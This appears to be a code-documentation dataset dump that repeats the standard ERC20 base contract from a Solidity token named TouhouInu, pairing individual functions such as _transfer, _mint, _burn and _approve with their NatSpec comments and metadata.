* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | _transfer | function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
5890,
6470
]
} | 8,925 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | _mint | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
6753,
7138
]
} | 8,926 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
7467,
7892
]
} | 8,927 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | _approve | function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
8326,
8712
]
} | 8,928 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
